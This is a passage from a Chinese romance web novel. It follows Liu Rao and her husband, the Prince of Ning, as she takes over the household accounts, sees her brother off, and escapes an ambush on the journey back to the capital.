柳娆抬头看他:“这样也行嘛?” “当然,只要你高兴。”封肆在她额头上重重亲一口,“走,我们去庄子上查账。” 庄子上管事将账本呈上,封肆接过,随意在书房坐下,翻看几眼。 他这些年虽然不在宁州,但对这里的事务了然于心,不怕他们掀出什么风浪,此回来不过是再施施威,柳娆却对那账本很感兴趣,伸着脖子望了许久。 他抬眸:“你要看?” “这不本来就是该我看的吗?你还没有看好吗?轮到我看了。” “好好,你看,你到我怀里来看。”他将人往怀里一拉,瞥一眼一旁坐着的柳珣,“三弟,你不是要在我府中寻一门差事吗?现下便让庄子上的管事带你去了解了解庄子里的事务吧。” 柳珣看着叠在一起的两人,为难道:“我……” “三哥,你快去吧,不要耽搁时辰,我们晚上一起吃晚饭。”柳娆伸着手,拍拍他的肩,一本正经道。 柳珣悄自叹息一声:“那好吧,我晚上再来寻你。” 柳娆已全神贯入账本之中,手下的算盘打得哐哐作响,封肆搂住她的腰,听着门关上,朝她靠近一些,待她反应过来时,那只手已经覆在她的心口。 “你干什么?”她一脸严肃。 封肆将下巴放在她肩上,轻声道:“你忙你的。” “噢。”她蹙着眉,胡乱拨弄拨弄算盘,恼道,“你这样我怎么看嘛!” “为何不能看?若是不能,便是你不用心。” 她一脸不可置信:“我不用心?明明是你捣乱!” 封肆咬住她的耳垂,轻声道:“真的,不信你试试。” 她扭头,狐疑看他两眼,将信将疑,蹙着眉,继续拨弄算盘,她对这账本很是陌生,得仔细算才能算明白。 封肆在她背后勾唇,骨骼分明的指尖四处作乱。 她咬着唇,绷着足尖,死死盯着怀里的账本,颤抖的指尖打着算珠,轻轻作响,最后着实抵抗不住,伏在桌面上,止不住地大口呼吸。 喘息过后,她坐正,紧蹙着眉头,将无意推远的算盘抓回来,继续对着账本拨弄。 封肆突然内疚,将她抱紧一些。 “别打扰我了。”她脸一板。 “不打搅你了,我给你擦擦,你认真看。” 她扭头,又怀疑看去,直至确认他的确没有再捣乱的意思,才欣慰点头,回眸继续盯着账本看。 封肆再不搅扰,坐在她身后默默看着。 天将暗,她扭扭脖子,揉揉肩膀,正色道:“我看完这半本了!” 她难得这样认真,封肆不愿打击她,夸赞道:“媚儿真厉害。” “那当然啦。”她骄傲一句,又扭扭脖子,“这半本没有问题,剩下的我明天再看吧!” 封肆连忙应承:“对对,今日累着了,好好歇歇,明日再看。” 她满意昂首:“那今天就这样吧。” 封肆笑着亲她一口,哄着她往卧房走。看账本可不是一件轻松的活计,真将她累着了,又得哄。 只是这回却在意料之外,她竟真的未喊一句累,之前就已经认认真真将厚厚的几沓账本全看完了。 “如何?”封肆端茶倒水。 她喝一口茶水,长舒一口气:“没问题了,有我在,你就放心吧。” 封肆好笑地扬唇。 “就是脖子有点儿累,你给我按按肩吧。” 封肆一愣,警惕起来:“很不舒服?不如请大夫来给你看看?” “不用不用。”她摆着手,往床上一趴,闭着眼道,“你给我按按就好啦。” 封肆咽了口唾液,搓热手心,轻轻放在她肩上:“不会要按很久吧?” 她眼睛一睁:“你这是什么意思?不愿意?都还没开始按呢,你就在这里不情不愿了,我不要你给我按了……” “我给你按,给你按。”封肆连声打断,“我不是不愿意,这不是天晚了吗?你忙了这些天,也该好好休息休息了,万一耽搁你休息的时辰,那我心里如何能好过?” “噢,那倒也是,不过你也不用太过担心啦,我能睡着的,你按你的。”她打了个哈欠,眼眸又一闭,呼吸绵长。 封肆沉默良久,重重叹息一声,又重重叹息一声,没有将人吵醒,认命地继续给人按肩。 翌日早起,柳娆扭动几圈脖子,松快道:“太好了,我的脖子一点儿也不疼了。” 封肆看她一眼,默默越过她:“庄子里的账本就这些,不必再看,我们今日便回府吧。” “除了看账本还有别的事要做的吧?” “最重要的还是看账本,你只要掌控这里的情况便好,不可能守在这里一辈子。”最重要的是,再看下去,受累的不仅会是她。 柳娆若有所思点头:“小四,你说的好有道理,那我们就回去吧,这几日给我忙的,指甲好久没涂了,香膏香露也好久没抹了,今天回去咱们就抹。” 封肆险些一口气没喘过来。 第65章 第 65 章 最好的朋友 “诶?你没睡好吗?怎么看着要站不稳了?”柳娆凑去他眼前。 他摆摆手:“没有, 只是昨晚没睡好,有些累。” 柳娆恍然大悟:“噢,我想起来了, 你昨晚给我按肩了, 小四, 辛苦你了,要不我们明日再涂指甲吧。” 封肆无比欣慰, 感动得眼泪都要冒出来了, 紧紧抱住她:“好媚儿, 真乖。” 她眨眨眼,不知所以,拍拍他的背,哄一句:“你也乖。” 行李收拾好, 柳珣已在门外等候, 柳娆这几日学了不少新鲜东西, 凑过去和他叽叽喳喳说个不停, 抵达城中府邸时才有所收敛。 管事拿着信封上前迎接:“王爷这是京中来的信件,请您过目。” 柳娆好奇看一眼,没说什么。 管事又朝柳珣道:“柳公子,这是您信件。” 柳娆又看一眼,朝管事望去:“我呢?” “什么?”管事茫然。 “他们都有信,我没有吗?” “呃……”管事答不上来。 柳娆撅着嘴瞅他一眼,朝柳珣问:“三哥,谁给你写信?是祖母母亲吗?” 柳珣轻声解释:“是京中好友, 你大概不认得的。” “又是好友,怎么没有好友给我写信呢?”她腰一叉,不服气道。 封肆不紧不慢道:“也没有好友给我写信。” 柳娆打量他两眼:“那你这么厚的一沓信是?” “京中公务。” “噢, 可是就算是没有人给你写信,你还是有好朋友啊。”柳娆小声嘀咕,“我就没有。” 柳珣开口:“媚儿……” “谁说我有朋友的?”封肆打断,将柳娆揽进怀里,轻声道,“我不是跟你说过吗?他们都怕我,没人真心跟我做朋友的。” “那小江呢?” “算是,但称不上多亲近,总归不会这样写信来写信去。” “噢。”柳娆低下眼眸,一会又道,“我二哥说我脾气不好,没有人愿意和我玩,所以才没有朋友。小四,我脾气真的很差吗?” “嗯……也不是很差……” 柳娆圆眼一抬:“那就是差了?” 封肆连忙道:“不是不是,我觉得你脾气挺好的,但是每个人的感受不一样,就连银子也不是所有人都喜欢,更何况是一个人呢。” “啊?还有不喜欢银子的?” “那当然,天大地大,什么样的人都有。” “噢。”她沉默片刻,头一抬,又道,“那也不能一个喜欢我的人都没有吧?” “我不算人?” “也是,可是你是我夫君啊。” “谁说夫君不可以做好朋友的?” 柳娆一怔,呆呆看着他。 他笑着刮刮她的鼻尖,揽着她往卧房里走,将柳珣一人扔在门外,又道:“以后我们就是好朋友,你有什么想和朋友说的话都可以跟我说。” “那……”柳娆抿抿唇,“这样也可以吗?” “为什么不可以?”封肆低首,笑着用鼻尖顶顶她的鼻尖,“又没人说不可以这样,还是不愿意?” 她抬眸,柔软的睫毛几乎戳着他的眼皮,嘴角缓缓弯起:“那你呢?” “我什么?” “我只有你这一个好朋友,你也只能有我这一个好朋友,不然我就咬死你!”她一口咬住他的鼻尖。 封肆疼得倒吸一口冷气:“你说,我答应就是,不要提前动手。” 柳娆抿着唇笑:“噢,对不起嘛。” 封肆搓搓鼻尖,笑着在她嘴上亲一口:“真乖。” 她高兴地捧着他的脸,还未来得及欢呼,一阵丝竹声从外传来,她蹙了蹙眉,转头朝门口望:“府里请了戏班子?” 封肆同样疑惑:“我也不大清楚,问问他们。” 管事立即出现在门口,只是支支吾吾,欲言又止。 封肆有些恼火:“有话便说。” 管事咽了口唾液,小声道:“是城中官员送来的,上回王爷吩咐,让他们下回再来,他们便又来拜访了,还送了不少东西来。” 封肆皱着眉头往外走:“什么东西?” 管事跟在他身后:“歌女……” 他脚步一顿,回头看去:“什么?” 管事急急刹住,小心翼翼重复:“歌女。” “啊?”柳娆也回眸,“歌女?唱歌的吗?他们送歌女来做什么?” “送给王爷的……” 封肆一巴掌拍去,嘭地一声。 柳娆还是第一回见他这样打人,吓得一颤。 他立即醒神,将人怀里搂了搂,小声警告管事:“我看你是这些年跟在我身边混日子混久了,连最基本的脸色的看不懂了,我府上何时收过歌女?他们要来送,你不让他们滚,还让人进门?滚下去,罚半年月钱!” 柳娆满脸茫然,不由得也放低声音:“发生什么了?是很严重的事吗?” “不是什么严重的事,回吧。” “不去听唱戏了吗?” “不去,那不是什么正经唱戏的,你若想听唱戏,改日请专门的戏班子来。” 她又茫然点头:“那他们是干什么的?” “没什么,你不用管……” “哼!”她停步,一跺脚,插着腰撅着嘴看他。 封肆叹息,重重抹一把脸。他就知道这事过不去,这个该死的管事,在府里这么多年,连这点事都处理不清楚。 他指着管事的背影,气道:“再罚他半年月俸。” 柳娆抓住他的手臂:“你还没跟我说呢。” 他一不做二不休,破罐子破摔:“就是他们送来陪我的。” “陪你的?”柳娆怔愣片刻,渐渐明悟,抿了抿唇,抬步离去。 “诶?”封肆跟在她身后,好几回抓她的手臂没抓住,又低声哄,“那不是管事放进来的吗?我可是一直和你在一块的。” 她打量他几眼,又冷哼一声。 封肆紧忙抱住她:“还生气?您有什么指示吩咐便是,我一切都听您的。” 她瘪了瘪嘴:“那以前呢?” “什么以前?” “我说以前我不在的时候,你有没有……有没有、有没有。”她说着,指尖便往他手臂上拧。 封肆疼得直躲:“没、没,不敢不敢。” 柳娆上下打量他几眼,见他还算老实,熄了火:“没有就好,你最好不要骗我,否则我肯定也罚你的月钱。” 他笑着举双手投降:“我保证,我没有说谎。” 柳娆点点他的鼻尖:“那最好。” 他搂住她的脖子,垂首轻声问:“那我们还是不是最好的朋友?” 柳娆眯着眼,笑着重重点头:“嗯!” 封肆高兴在她脸颊上重重亲一口:“那你以后什么事都要跟我说,好不好?” “我原本就是什么事都跟你说的啊。” “我是说什么事都跟……我的意思是你可以给我写信。”封肆疯狂暗示。 柳娆缩着脖子,奇怪看他几眼:“你就在我跟前,我给你写什么信?那不是傻吗?” “我是说、是说……哎!算了!” “你刚刚还要我什么都跟你说,你现在却什么不都跟我说,你真讨厌。” “我是说……”他顿了顿,纠结半晌,还是觉得先前写信的事不能说,“我是说,若是你希望有人给你写信,我可以给你写。” “噢……”柳娆呆愣一会,忽然品出这话的意味,嘴角止不住地高扬,在他唇上浅啄一下,“嘿嘿,我知道了。” 她一笑,封肆也忍不住扬唇:“知道什么了?” “知道你喜欢我啊。”她摇摇他的脖子。 “那你喜欢我吗?” “喜欢啊,我肯定喜欢你啊。” “有多喜欢?” 她张开双臂,画一个大圈:“有这么这么喜欢。” 封肆喜上眉梢。 “那你呢?你对我有多喜欢?” 封肆拉着她的手又画一个圈:“我对你也有这么这么喜欢。” 她笑着扑进他怀里,呵呵傻笑。 不远处,柳珣遥望许久,缓缓转身离去。他这一阵子虽然是在跟着王府里的人做事,但每日也是能见到媚儿的。媚儿这段时日也在操劳王府里的事务,他总觉得媚儿和从前不一样了,不再需要他了。 宁州的冬日无雪,只是稀稀拉拉的小雨,黑云压着天,昏沉沉一片。 柳娆又在书房打算盘,听人敲门才抬眸看来:“三哥?你来啦?快进来吧!” 封肆抬抬眉,示意柳珣自己找地方坐。 柳珣拘束落座,低声道:“我想等过了年就回京城去……” “啊?为什么?你在这里待得不高兴吗?” “不是不是,我只是觉得也该回去好好念书了……” 封肆抬眸:“你是觉得现下在府中做事屈才了?若是如此,我再安排你去府衙做事。” “不是。”柳珣又摇头,垂着眼道,“我跟着媚儿来宁州,是怕她过得不好,过不习惯,可如今看来,是我多虑了,媚儿在这里过得很好,既然如此,我便也没有再留在此处的必要了。” 柳娆眨眨眼,愣愣看着他:半晌未说出话:“三哥……” 柳珣双手撑在膝上,抬头看着她,露出一个释怀的笑:“其实这样也挺好的,看到你好,三哥就放心了。你就好好在这里过,有什么事就给家里写信,三哥也得去操心自己往后的路了。” 第66章 第 66 章 这个家里没了媚儿该怎么…… “三哥, 那你、那你……”柳娆不知如何应答。 “这样也好。”封肆道,“你尚且年轻,往后还有很多机会, 回去读书也好。” 柳珣又垂眸:“嗯。” “打算何时走?过完年这边暖和了, 京城那边还冷着, 不如等等,等到春天再走, 到时候我派人护送你回京。” “不必不必, 不必如此麻烦, 我也不小了,这点事还是可以自己应对的……” “不是这个缘故,你是跟我出来的,我自然该将你全须全尾送回去, 否则往后也难以面对你家中的人。旁的都随你, 此事你听我安排便是。” 柳珣点点头, 不再反驳。 柳娆抓住他的袖子, 轻轻晃晃:“那三哥,你回去之后,会成亲吗?” “大概会吧。” “那我们往后是不是很难再见面了?” “嗯,或许。” 柳娆鼻尖一酸,嘴一瘪,眼泪吧嗒吧嗒往下掉:“三哥……” 柳珣没忍住将她抱入怀中:“媚儿!” “咳咳!”封肆抵唇低咳两声。 柳娆抬头望去,眼上还挂着几颗圆润的泪珠:“你怎么了?” 封肆眼神乱瞟:“没什么。” 柳珣也觉得不妥当,往后退了退:“媚儿, 你若是想三哥了,可以跟三哥写信。你不是总抱怨自己没有好朋友吗?三哥可以做你的朋友。” 柳娆眼泪又吧嗒往下掉:“三哥,我会给你写信的, 你要是想我了,也可以给我写信,也可以来宁州找我玩。” 柳珣摸摸她的头:“三哥会给你写信的。” “三哥!”她又抱住三哥。 封肆低声咳嗽好一阵子,嗓子都咳疼了,半点儿成效没有,只能重重叹息几声,盯着旁边的屏风,假装看不见。 许久,那哭哭啼啼声终于结束,他扭头看去,起身在柳娆身旁坐下,拿着帕子给她擦擦眼泪:“好了,不哭了,我们不是说好了吗?往后我们每年也会回去的。” 柳娆抹抹眼泪:“那我们跟三哥一起回去吧!” 封肆一哽:“我们才来这里没多久。” “可你说每年都回去的呀,明年不就该回去了?” “我……可是一来一回要折腾很久……” “你是骗我的。” “我没骗你……” “那你为什么不同意?” 封肆有些头疼:“我们先前来时不是遇过一回刺杀吗?这才没过去多久,我担心这样大张旗鼓地又回去,路上恐怕再遇到这样的事。” “噢,也是……可是你早觉得危险,还说什么每年都回去的话,你不就是在骗我吗?” 封肆捏了捏眉心:“我是想着晚一些,等这阵风头过去,明年年底回,不也是一样的吗?” 柳娆垂着眼:“噢。” “媚儿,宁王说得也对。”柳珣小声劝。 “可是你回去不也是很危险吗?” 封肆打断:“他一个人回去,我会让人护送,不必太过担忧。” 柳娆迟疑点头:“那好吧,三哥,你先回去吧,我晚一些再回去,等你到了要给我写信噢。” 封肆搂住她的肩:“好了,不会不让你回去的,至于写信,你天天写都行,你三哥也没这么快离开,别弄得像他明天就走了似的,快别哭了。” 柳娆掰掰手指算算:“噢,好像是还有不少日子啊,那我们出去玩吧,三哥,我们好久没在一起玩了。哎呀,都怪我最近太忙了,都没有时间陪你们……” 她边说边拉着柳珣往外走,封肆跟在后面,又是假装咳嗽提醒了许久,却没掀起一点波澜。 好好玩过一阵子,再送别时,她倒是没掉眼泪的,笑眯眯的,老成持重地叮嘱这叮嘱那:“三哥,路上当心啊,不要乱跑,不要耽搁,只奔家里。” 柳珣很是无奈:“媚儿,我又不是小孩子了,你都知道,我还能不知道吗?你快回去吧,我得启程了。” “慢点啊。”柳娆扯着嗓子在后面目送许久,转过身去,长吁短叹,“终于把他送走了,不然总要陪他,还耽搁我时辰。” “耽搁你什么时辰?”封肆好笑。 “我也有事要忙的啊,那账本不用我看的吗?府中的事不用我管吗?你说得轻松。”柳娆捏住他的嘴,“好了,不要吵了,我要去忙了,府中的事没有我是不行的。” 他连连投降:“好好,王妃殿下赶紧去忙,小的不敢再打搅了。” 柳娆满意点头:“给我研墨吧!” “遵旨。”封肆哪里敢不从?媚儿好不容易有个感兴趣又不折磨人的爱好,研研墨算什么?他当然要全力支持。 他也不知道她是怎么对管家的事那么有兴致的,从早看到晚,尤其是到了夏季,宁州炎热,蚊虫又多,他都已经昏昏欲睡了,媚儿还能坐在桌前专心致志。 “扇子没风了。” “喔。”软糯的声音传来,他立即醒神,连反驳也不会了,接着摇晃手中的圆扇,点着脑袋打瞌睡。 不知又过了多久,人忽然起身,他又醒来:“去哪儿?” 柳娆急急忙忙往外走:“去恭房呀。” “我同你一起去。”封肆放下圆扇,起身跟上,停在恭房外的芭蕉树旁。 很快,人从恭房钻出去,又匆匆往卧房走。 封肆又跟上:“怎么了?” “月事来了。” 封肆一愣,长舒一口气。 太好了,这些日子他真是被折腾得不轻,白日里坐着都要打瞌睡,来月事好啊,来月事,他就能歇几日…… “你笑什么?”柳娆突然回头。 封肆立即收敛笑意:“没什么。” “你明明就是笑了,怎么?我来月事你很高兴吗?” “高兴,当然高兴,这不是月事正常来,便表明你身子无恙吗?这还不够我高兴的吗?” “噢,那我进里面去了。” 人钻进里间,封肆被关在门外,隔着门问:“我让人去给你煮些牛乳姜茶来?” “好啊。” 封肆大步出门,高声吩咐了姜茶来,又跟管事低声吩咐管事:“去弄些滋补的东西来。” “啊?什么滋补的?” 封肆气不打一处来:“给男人用的,你说是什么滋补的?” 管事立即敛眉垂眸:“是是是,小的这就去办……” 封肆恨不得给他一脚,听身后推门声,又将腿收回,朝人摆摆手,不耐道:“快去快去!” “去做什么?”柳娆果然从房中出来。 “煮姜茶。”封肆转身,握住她的肩,搂着她往回走,“身子不爽利,不如就好好休息,家里的事放一放也不打紧。” “我不累啊。” 封肆悄自叹息:“那便随你,你别将自己累着就好。” “不会啊,我今天的事还没忙完呢,你继续给我扇风。” “是是是。”封肆往她身旁一坐,举起小扇继续给她扇风。 数十日的休养,封肆又生龙活虎起来,生龙活虎完,他又盼望着下一回休养,他真是不知道媚儿哪里来得这么多精力,若不是每月还能休养那几日,他真是招架不住。 一大早,他还在睡着,人又过来了。 “你快起来啊,我们得启程出发,否则天黑前要赶不到下一处驿馆了。” 他捏了捏眉心,眯着眼对上刺目的日光:“这就起,这就起,其它都收拾完了?” “收拾完了,就等你了,你这只大懒虫。” “你也不想想我这只大懒虫昨夜是几时才睡的。” “那我睡得也晚啊。” 封肆沉默。她睡得的确也不早,但她睡之前还压着他,她睡下不知多久他才睡。 “快起快起。” “起了起了。”封肆系好衣裳,“你先去吃饭,我洗漱完便来。” “不行,我得等你,早上有鱼,你得给我挑鱼刺。” 封肆早习以为常:“好,那你稍等等。” 柳娆跟在他身侧,叽叽喳喳不停:“我让他们准备了不少零食点心,我们可以在船上吃,还让人准备了玩的,免得在船上无聊,还有!我还让人准备了药材噢,要是遇到什么意外,可以用上。” “媚儿考虑得真周到。” “嘿嘿。”柳娆扑在他的背上,抱住他的腰,晃来晃去。 他被撞得往前一个趔趄,险些将木架子上的水盆推翻,堪堪站稳,擦了把脸:“这个家里没了媚儿该怎么过啊。” 柳娆更是嘿嘿笑个不停。 封肆搂着她往起居室走:“洗好了,吃饭去。” 从宁州往京城,水路一路畅通无阻,下了船,改行陆路,却是有些磕磕绊绊。马车又行过那个遇刺过的弯路,封肆稍稍放心一些,轻靠在车厢上,陪人打络子。 马车一路颠簸到京城附近,天气晴朗,但寒风料峭,车里烧了火炉,舟车劳顿,封肆搂着柳娆昏昏欲睡,突然马车一顿。 他心中顿感不妙,推窗看去,果然瞧见道路两旁围上来的刺客,他捏了捏眉心,沉声吩咐:“撤!” 窗嘭一声关上,车疾速前行,柳娆慌乱四顾:“发生什么事了?” 封肆握紧她的肩:“没什么大事,别怕,坐稳。” 车厢碰撞的哐当声中,刀剑相撞的刺耳声传来,她屏息凝神,双手紧紧抓住封肆的手臂,死死盯着车厢。 第67章 第 67 章 我要不是王爷,你还会想…… “咻——”一支箭矢飞来, 嘭一声,马车突然不受控,左摇右晃往前飞奔。 封肆眉头紧皱, 搂紧怀里的人, 推开车门一看, 驭马的车夫早就不知所踪,左右两侧的刺客正在袭来。 他搂着人迅速钻出车厢, 往马背上一跃, 回头砍断车厢, 策马而去。 方才一片混乱,顾不得寻方向,此刻他也摸不清方向,只怕身后的刺客追来, 拽着缰绳直往前冲, 直至路断。 “吁!”缰绳猛地拽紧, 马儿前蹄高高抬起, 再原地转了好几个圈,封肆瞧见追来的刺客,抱着怀里的人跳下马,往前方路断之处去。 柳娆被晃得的晕头转向,瞧见脚下碎石跌入深不可测的崖底,吓得一个哆嗦,瞬间清醒。 封肆全心在身后的刺客上,回头看一眼, 搂着她便要往前冲,她赶忙往后缩。 “小四,我们跳下去会摔死的!” “下面有颗树, 我们在树上挂一下,不会死的,相信我。”封肆抱紧她,毫不犹豫往崖下纵身一跃。 “啊啊啊啊!”惊叫声突破天际,她手脚并用,死死抓住跟前的人,如流星一般坠落,嘭地摔在树干上。 崖半风声呼啸,封肆拍拍她的背:“媚儿。” 她惊魂未定,哆哆嗦嗦抬眼,脖子晃动晃动,欣喜道:“我没死。” 封肆吊起的那颗心在无奈的叹息中放松下来,笑道:“没死。” “我真的没死,嘿嘿。”她抬头,左顾右盼,高兴重复,“我真的没死呀,小四,你好厉害,说没事就会没事……” “咔嚓!”横木断裂声打断她的话。 她吓得又是一抖,连忙缩回那个安全的怀抱中。 封肆也被吓得不轻,却是拍拍她的背,又轻哄:“不要担心,下面半山腰上有个山洞,趁树还没有断,我们跳下去就好了。” 她再好奇也不敢再看了,只连连点头。 封肆抱着她,小心翼翼坐起。 “咔嚓!” “呜……”她吓得直哆嗦,哭也不敢大声哭,生怕自己将树枝给哭断了。 封肆亦屏息,抱着她紧紧贴在山壁上,斜眼目测那个半山腰的洞,低声道:“媚儿,我拉着你,你慢慢往下够,脚尖应该能踩到那个平台上。” 她颤栗:“我不敢……” 封肆在她额头上亲了亲:“别怕,我会拉紧你的手,我方才说我们不会摔死,是不是灵验了?媚儿,相信我,好不好?” 她瘪着嘴点头:“好。” 封肆咽了口唾液,握了握拳,沉声道:“来。” 柳娆不敢回答,双手紧紧抓住他的手,小心翼翼往下腾空。脚尖凌空的那一瞬,她不觉往下方看去,而后“哇”一声哭出来:“小四,我害怕。” 封肆又重重咽了口唾液,死死将她的手攥住:“媚儿,往右边晃一晃,你的脚尖离山洞只差一点点了。” 她鼓起勇气晃一晃,树枝突然又“咔嚓”一响,吓得她眼泪更是稀里哗啦往下掉。 那根大腿粗细的树干是从崖中横生出来的,早已被他们压得劈开,此刻皮连着骨,几乎是下一瞬便彻底断裂,连着他们一同坠入崖底。 封肆瞥一眼裂开的树干,不顾那惊叫,将人往山洞里一扔,随之跳下,翻滚几圈,摔坐在人身旁,将人紧紧抱住。 “小四!”柳娆瞬间泪崩。 哭声中,一道黑影从山洞前落下,她一怔,往外爬了爬,抬头往一看,那横生的树干空空如也,她吓得后退,又缩进封肆怀里。 “小四,那棵树断了!” 封肆紧紧搂着她,胡乱在她冰凉的额头上落下十几个吻:“没事了没事了……” 她哭了一阵子,趴在他怀里吸吸鼻子,带着哭腔问:“小四,我们现在该怎么办?” 封肆抚抚她的背,又在她额头上亲了亲:“我们去看看这里有没有出路。” 她缓缓起身,点点头:“好。” 封肆笑着捧起她的脸,看看她委屈的眼:“有没有摔伤?还能站起来吗?” 她摇摇头,又点点头:“没伤到,我还可以走的。” 封肆搂着她站起,缓步朝山洞里走:“我好像听见水声了,你听见没有?” 她抿抿唇,竖着耳朵听了听,连连点头:“嗯嗯!是有,是有。” “有水声就有路,我们寻寻看。”封肆将她往怀里又搂了搂,继续往前。 山洞越往前走越狭窄、越暗、越阴冷,滴滴答答水声也变得异常恐怖起来,她抱住他的腰,紧紧依偎在他身旁,瞪着个眼睛四处张望,生怕下一刻就有怪物从暗中冲出来。 封肆抚抚她紧绷的肩,低声宽慰:“别怕别怕。” 她抱得更紧了:“小四,前面真的有路吗?” “那边是出不去了,无论前方是否有路,我们都必须要往前走。”封肆拍拍她的肩,“累不累?我们休息一会也好。” 她摇头:“这里太黑了,我害怕,我们赶紧走吧,走到有光的地方我们再歇。” 她警惕的眼睛还是抬着,脚下的步伐越发慌乱,突然,啪一声踩进水里,吓得大哭,哭声在山洞里回荡,她哭得更大声了。 封肆被她惊得心慌,赶忙将她打横抱起:“怎么了?” 她哽咽道:“地上有水,我还以为踩到什么怪物了。” 封肆松了口气:“肯定是石头缝里渗出的水,没事,我抱着你走,别害怕。” 她抱紧他的脖颈,终于安心一些,小声道:“小四,你说水里会有虫子吗?” “不会,就算是有,也是先咬我。” “咬完你,不就要来咬我了?” “你只担心自己?” 柳娆一噎,心中的紧张都消了不少,小声道:“没有呀,我也担心你的。” 封肆扬唇:“安心,只是浅水坑,鞋底都未没过。” 她抿了抿唇,安静片刻,又问:“小四,为什么总有人追杀我们?” “当然是因为我得罪了他们?” “那你为什么要得罪他们?” “因为我们的利益不同,为了我的利益,我只能得罪他们。”封肆说完,怕她听不懂,又解释,“就像是,有十两银子放在这里,你要想得到它,就必须去争,就必定会得罪那些也要来争夺的人。” “那你们平分不就好了?一人五两,皆大欢喜。” “这十两,是你余生可获得的唯一的银钱。” 柳娆沉默。 封肆继续道:“总归,我得罪了他们,比你想象中的应该还要更严重,所以,他们才总会来刺杀。” “唉。”长长的叹息在幽暗的山洞里轻轻回荡,柳娆低声道,“要是你不是王爷就好了。” “我要不是王爷,你还会想要嫁给我吗?” 她沉默许久,抱紧他的脖颈,用脸在他脸上蹭了蹭:“小四,我们还能活着出去吗?” “你怪我吗?” “不。”她摇头,轻轻贴在他脸边,“我爱你。” 封肆心尖轻动,嘴角缓缓扬起:“那我要不是王爷,你还会嫁给我吗?” 她抿着唇,小声道:“你要不是王爷,要在从前我肯定不会嫁给你,可要是现在,我会嫁给你的呀。” 封肆嘴角越扬越高:“听出来了,这是真心话。” “当然是真心话啊。”她说完,肚子咕噜一声。 “饿了?是该饿了,折腾了这么久。”封肆道,“还能不能再忍一会儿?我走快些,看看前面有没有路,若是能出去,就能找到吃的。” “我能忍着的。小四,你饿不饿?” “我不饿。这里没水,你下来,我背你。” 封肆又将她背起来,接着大步向前。 这狭窄的山洞又黑又长,似乎没有尽头,他一直往前,走到背后的人昏昏睡去,终于寻到了稀疏瀑布旁的出口。 天已完全暗下,分不清时辰,他望着月亮,依稀辨出京城的方向,越过重重草树,正好遇见前来营救的士兵。 领头上前行礼:“王爷,陛下派臣来接王爷入京,臣来迟,请王爷恕罪。” 封肆背着酣睡的人越过。 领头以为救驾来迟,紧忙上前又请罪,高声道:“微臣救驾来迟,请王爷惩罚!” 封肆回头瞥他一眼,低声道:“你没瞧见王妃在睡觉吗?” 他一怔。 同行而来的管事立即小声提醒:“王妃睡着了,大人低声些,不要吵醒王妃。” 领头的怔愣片刻,恍然回神,连连点头,再抬步时都不知该如何落脚,生怕踩重了地上的落叶,发出声响,又惹人生气。 封肆已抱着人跨上马车,要来毛毯,轻轻给她披上,看着她的睡容,就着月光缓缓返回京城。 温热的日光照进,炭火燃烧的噼里啪啦声传来,她缓缓睁开眼,对上几张熟悉的笑颜,怔怔的。 “媚儿?”母亲笑着唤。 她被扶坐起来,听着一声声问候,愣愣开口:“小四呢?” “宁王他……” 不待人回答,她突然着急起来,跨下床要去寻:“小四呢?他去哪儿了?是不是出什么事了?” 陈夫人紧忙将她拦住:“宁王他没事,他很好,他只是进宫去了,很快就回来。” 她长舒一口气,缓缓坐下:“那就好。”《 》 第68章【正文完】 第68章 第 68 章 有什么比伺候…… 陈夫人按着她坐回床上, 笑着给她穿上袜子:“宁王和你一起回来的,只是你睡着了,不知晓罢了。他又接了宫里的旨意, 说是有急事, 便将你暂且送回这边, 免得你醒来见不到人要着急。” 她连忙缩回腿:“娘,我都这么大了, 不用你再给我穿袜子。” “你多大, 在娘心里都是个孩子。”陈夫人笑着摸摸她的脸, “饿不饿?宁王送你回来时便嘱咐了的,说你一路奔波,早就饥肠辘辘,我们先去用膳, 好不好?家里的饭菜早就准备好了。” 她笑着自己将袜子穿好:“我好想念家里的饭菜的, 也想念娘和祖母, 还有几个哥哥嫂嫂。” 祖母和母亲一起簇拥着她出门, 一起拥着她落座,一起往她碗里添菜,她碗碟里的菜叠成了小山,吃都吃不过来,边吃边聊。 “三哥成亲了吗?” “哪里有这么快?他还得考学呢,不考个一官半职的,不想要成亲的事。” “可是他都这么大了,再晚几年, 人家年轻姑娘会嫌弃他的。” 陈夫人笑着打趣:“你是长大了,都会操心这些事了。” 柳娆一脸骄傲:“那当然了,现在家里什么都要靠我, 我既要管家里的吃穿用度,又要管家中仆从,还要管府外的产业,我可是什么都要操心的。” “那你得多吃些,可千万别累瘦了。” “也对。”她一副正经的模样,“大哥二哥现下如何了?” “都好,他们都好,你大哥还是如从前一般稳重,你二哥官路很是顺畅,你的小侄女也平安出生了,嫂嫂和小侄女都好,吃过饭,你也去看看他们。” “行!我是好久没见到他们了,还挺想他们的。” 死里逃生,她有说不完的话,拉着二哥三哥添油加醋说个不停,要多夸张有多夸张。 柳瑜好笑地看着她:“你是说你自己从悬崖的树干上跳入洞中?我看你是哭得哆哆嗦嗦被扔进去的吧?” 她一凛:“你怎么知道的?” 柳瑜更觉得好笑了:“还真是这样啊。” 柳娆才醒过神来,跳着要打他:“你诈我呢!” 他转着圈躲:“方才还说你长大了,眼下看来,你还是没变,还是个小孩子脾气,动不动就要打人。” “谁叫你惹我的!” “惹你就要打人?你是越来越霸道了,我不和你玩了。”柳瑜转头而去。 “诶?他什么时候气性这么大了?这就不理人了?” 柳珣笑着道:“二哥还能和你一般见识吗?他是回房看小侄女去了,你要不要去看看,小侄女长得可爱极了。” “好啊,我还没见过小侄女呢。”粉粉嫩嫩的小团子正在睡着,柳娆看去,双眼简直挪不开,“天啊,她怎么能长得这么可爱,一点儿也不像二哥。” 柳瑜好气又好笑:“去去去,一边去,怎么就不像我了?我看像我得很。” 柳娆挪不开腿,蹲在小床边看:“她好可爱,二嫂嫂,你能不能借我玩两天?” 柳瑜敲敲她的脑袋:“你这是什么话?孩子是用来玩的吗?想要自己生去。” 她双手捂着头:“好好,那我不玩,我就看看她嘛,她真的好可爱呀。” 柳瑜眼眸微动,在她身旁蹲下:“哎,你这么喜欢孩子,你和宁王成亲也有几年了,怎么不生一个?” “我不是喜欢孩子啊,我是喜欢这个孩子。” 柳瑜一噎:“喜欢长得可爱的?” 柳娆奇怪看他几眼:“那难不成我该喜欢长得不可爱、不漂亮的?” 柳珣蹲在她另一旁:“可是媚儿,你生得这么可爱,你要是有一个孩子,肯定会比二哥的孩子还要可爱的。” 她眼睛一亮,无比认同:“你说得太对了!” 柳瑜扶额:“是是是,你们说得都对,那不如你和宁王也生一个呗。” 